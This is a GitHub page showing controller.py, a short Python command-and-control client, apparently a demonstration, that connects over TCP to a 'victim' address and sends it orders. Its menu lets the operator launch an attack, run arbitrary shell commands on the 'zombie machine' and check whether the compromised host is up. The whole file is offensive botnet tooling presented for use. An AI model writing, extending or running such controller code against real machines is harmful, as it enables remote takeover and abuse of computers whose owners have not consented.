-
Notifications
You must be signed in to change notification settings - Fork 2
/
Copy pathcontroller.py
59 lines (51 loc) · 1.55 KB
/
controller.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
import socket
import os
HOST = "192.168.1.4" # The victim's hostname or IP address
PORT = 7777 # The port used by the server
def command(command):
with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:
try:
s.connect((HOST, PORT))
except:
print("[!] Zombie is disconnected...")
s.sendall(command.encode('utf-8'))
data = s.recv(1024)
print('\n[+] Received: ', data.decode('utf-8'))
input()
# print("Closing socket")
s.close()
return
com = '0' # Apologies for using this kind of logic lol
ch = 'y'
banner = '''
*********************************
* Controller by arc4ne *
* Demonstrating CnC for Zombies*
*********************************
'''
while com != '4':
os.system("clear")
print(banner)
print('\n')
print("#"*13+" Welcome to Controller "+"#"*13)
print("\n")
print("[1] To Attack the Target")
print("[2] To execute a command on Target machine")
print("[3] To Check if the Zombie is up")
print("[4] To Exit")
print("\n")
com = input("[+] Choose your Action: ")
if com == '1':
command("Commence the Attack")
elif com == '2':
while ch!='n':
code = input("[+] Enter command to execute on zombie machine: ")
command("Command #"+code+"$")
ch = input("[+] Execute more commands? (y/n) ")
ch ='y'
elif com == '3':
command("Check the Status")
elif com == '4':
print("[!] Exiting the controller....")
else:
print("[!] Enter correct choice!")